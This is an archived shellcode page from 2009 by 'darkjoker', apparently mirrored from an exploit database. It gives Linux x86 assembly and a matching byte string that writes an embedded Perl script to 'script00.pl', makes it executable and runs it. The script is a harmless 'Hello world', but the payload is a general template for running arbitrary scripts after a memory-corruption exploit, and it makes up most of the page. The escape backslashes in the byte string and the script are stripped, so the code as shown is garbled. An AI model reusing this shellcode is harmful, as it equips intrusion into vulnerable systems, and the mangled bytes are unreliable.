[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 Perl script execution 99 bytes + script length
# Published : 2009-03-03
# Author : darkjoker
# Previous Title : win32 SEH omelet shellcode v0.1
# Next Title : linux/x86 file reader 65 bytes + pathname


/*
Author    : darkjoker
Site      : http://darkjoker.net23.net
Shellcode : linux/x86 Perl script execution 99 bytes + script length


        .global _start

_start:
        xor     %eax, %eax
        xor     %ebx, %ebx
        xor     %ecx, %ecx
        xor     %edx, %edx
        xor     %edi, %edi
        xor     %esi, %esi
        push    %eax
        push    $0x6c702e30
        push    $0x30307470
        push    $0x69726373

        mov     %esp, %ebx
        movb    $0x5, %al
        movb    $0x41, %cl
        int     $0x80
        jmp     one

two:

        mov     %ebx, %esi
        mov     %eax, %ebx

        pop     %edi

        push    %edi

	// Begin http://www.int80h.org/strlen/
	xor     %ecx, %ecx
        xor     %eax, %eax
        not     %ecx
        repne   scasb
        not     %ecx
        dec     %ecx
	// End   http://www.int80h.org/strlen/

        pop     %edi
        mov     %ecx, %eax
        mov     %edi, %ecx
        mov     %eax, %edx

        movb    $0x4, %al
        int     $0x80

        movb    $0x6, %al
        int     $0x80

        mov     %esi, %ebx
        movb    $0xf, %al
        movw    $0x1fc, %cx
        int     $0x80

        movb    $0xb, %al
        xor     %ecx, %ecx
        xor     %edx, %edx
        int     $0x80

        movb    $0x1, %al
        xor     %ebx, %ebx
        int     $0x80

one:
        call    two
        .string "#!/usr/bin/perlnprint ("Hello world!\n");n"
*/
char main [] = 
"x31xc0x31xdbx31xc9x31xd2"
"x31xffx31xf6x50x68x30x2e"
"x70x6cx68x70x74x30x30x68"
"x73x63x72x69x89xe3xb0x05"
"xb1x41xcdx80xebx38x89xde"
"x89xc3x5fx57x31xc9x31xc0"
"xf7xd1xf2xaexf7xd1x49x5f"
"x89xc8x89xf9x89xc2xb0x04"
"xcdx80xb0x06xcdx80x89xf3"
"xb0x0fx66xb9xfcx01xcdx80"
"xb0x0bx31xc9x31xd2xcdx80"
"xb0x01x31xdbxcdx80xe8xc3"
"xffxffxff"
"#!/usr/bin/perlnprint ("Hello world!\n");n"; // Here script source

// www.Syue.com [2009-03-03]